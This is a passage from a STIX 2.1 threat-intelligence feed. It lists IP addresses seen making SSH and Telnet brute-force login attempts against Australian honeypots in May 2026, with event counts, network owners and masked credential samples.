      "valid_from": "2026-05-28T06:15:11.000Z",
      "valid_until": "2026-06-29T06:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--bf9e741c-ed3c-4aa5-a04a-97283c6e9691",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.12.170.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45839. Organisation(s): Shinjiru Technology Sdn Bhd. Usernames observed (masked): r**t, a***n, u**r, , A***********r. Passwords observed (masked): , p******d, 1**4, 1***5, 1****6.",
      "id": "indicator--f181e85b-6299-446f-a4b0-b5a290064d6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.90.159.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): a***n, r**t, s**v. Passwords observed (masked): L******6, f****************4, s**v.",
      "id": "indicator--adaf75fe-424e-4fa1-964b-97d65b212ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.52.15.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 14988. Organisation(s): BTC-GATE1. Usernames observed (masked): g*****n, r**t, u****u. Passwords observed (masked): !******x, g*********3, r*******!.",
      "id": "indicator--b7689521-5695-41c9-8886-dbd130f70c7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.167.228.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--1693eea8-a89e-45c3-9601-26431b1f03b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--a2dc455c-fd7f-463f-9d0f-d27a84e8564a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.179.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): s**v, 3**********4, d****y, r**t, t**n. Passwords observed (masked): 1***5, 3***********4, 3**********4, q**********#, s**v.",
      "id": "indicator--61978399-c327-4139-9506-de818e171dd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.132.18.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4c5ffb47-c50d-40e6-bcdf-e36f20832e34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.32.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:15:11.000Z",
      "valid_until": "2026-06-29T07:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--aefeb51e-d646-48f1-8025-b932d178b4c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.236.14.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n, c****o, r**t, t**t. Passwords observed (masked): S*********5, c****o, f****************4, p*********3.",
      "id": "indicator--37fb5a9c-9c1d-487d-b4b8-1756cc668b81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.217.10.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--3518e6c1-2956-479d-8d95-02164379e470",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, f******d. Passwords observed (masked): 2****4, a******1, a*****9, f******d.",
      "id": "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.144.225.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 237. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, a***n, a*****r, d*******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, ***, 2****4.",
      "id": "indicator--6c805a2e-a00f-482f-a2bd-ef6cc636196e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.34.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4, a***n, d*******r, l**a. Passwords observed (masked): 1******8, 3***********4, 3**********4, P******d, f****************4.",
      "id": "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4, a***n, a*****r. Passwords observed (masked): ***, 3***********4, 3**********4, A*******!, D******3.",
      "id": "indicator--3422c9f3-5840-40d1-a25e-34e9d6eb4b3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): **, m**a. Passwords observed (masked): 1******8, m**a.",
      "id": "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.92.7.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, A******6, W********a.",
      "id": "indicator--6f325ff1-da64-45ec-8287-6e22d8d25d49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.121.187.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d503cb0e-a289-4d14-b93a-416b14ab7148",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): m*******t. Passwords observed (masked): a***n.",
      "id": "indicator--f63b55e1-8761-4367-b54b-66701238dd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.192.138.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T08:15:12.000Z",
      "valid_until": "2026-06-29T08:15:08.000Z"
    },
    {
      "created": "2026-05-28T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--b2e77727-716e-483d-add7-13ad1f6f00ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.2.135.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:15:13.000Z",
      "valid_until": "2026-06-29T09:15:08.000Z"
    },
    {
      "created": "2026-05-28T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--3196b8cc-56c1-4fab-9692-2a3937bd7751",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.185.243.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:15:13.000Z",
      "valid_until": "2026-06-29T09:15:08.000Z"
    },
    {
      "created": "2026-05-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 18450. Organisation(s): WebNX, Inc..",
      "id": "indicator--7eccb359-370e-49e0-90c5-2f9a2dd22024",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.237.57.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:15:13.000Z",
      "valid_until": "2026-06-29T09:15:08.000Z"
    },
    {
      "created": "2026-05-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 151734. Organisation(s): WEBYNE DATA CENTRE PRIVATE LIMITED. Usernames observed (masked): ***. Passwords observed (masked): *.",
      "id": "indicator--6151ec74-d40f-4d32-bcfd-9debce2f30b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.220.237.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:15:13.000Z",
      "valid_until": "2026-06-29T09:15:08.000Z"
    },
    {
      "created": "2026-05-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--ecb38635-2ed4-4cc0-9561-e5a512cfbf07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:15:13.000Z",
      "valid_until": "2026-06-29T09:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): b*****r, 3**********4, d****n, ***, ***. Passwords observed (masked): ***, 3***********4, 3**********4, H******2, d****n.",
      "id": "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A*******************p, H**********************3.",
      "id": "indicator--624b279f-46be-4b39-a2ee-1e357b582bd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.155.42.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): Z******6.",
      "id": "indicator--dbea3f7b-65e4-43c7-b891-35707cc7a3bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.112.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 139. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, a***n, g*****a, r**t, e**y. Passwords observed (masked): 3***********4, 3**********4, *, T******3, e**y.",
      "id": "indicator--c161e297-5b59-4cc1-bc88-a37af68acda1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.42.219.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--85ac31f3-bdf2-4f57-bfab-97e7818a8c84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.124.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): w*******d, 3**********4, a***t, f*****r, r**t. Passwords observed (masked): 1**4, 3***********4, 3**********4, P******D, P******d.",
      "id": "indicator--aef75ca9-0795-4837-985d-fd992d98c039",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.5.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0e6e9f45-0df8-49f6-af80-49ccefc27cf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.79.63.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--e9872e46-8dc9-4a1e-930f-c24a41dae04f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.117.172.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:15:11.000Z",
      "valid_until": "2026-06-29T10:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 186. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, s******d, a***n, b****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, 1****6.",
      "id": "indicator--53701455-db78-45f2-af51-f24332475084",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.26.39.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 28118. Organisation(s): ALTICE DOMINICANA S.A..",
      "id": "indicator--43e24aeb-58a8-412e-9b1f-8de0008f8bd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.149.204.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
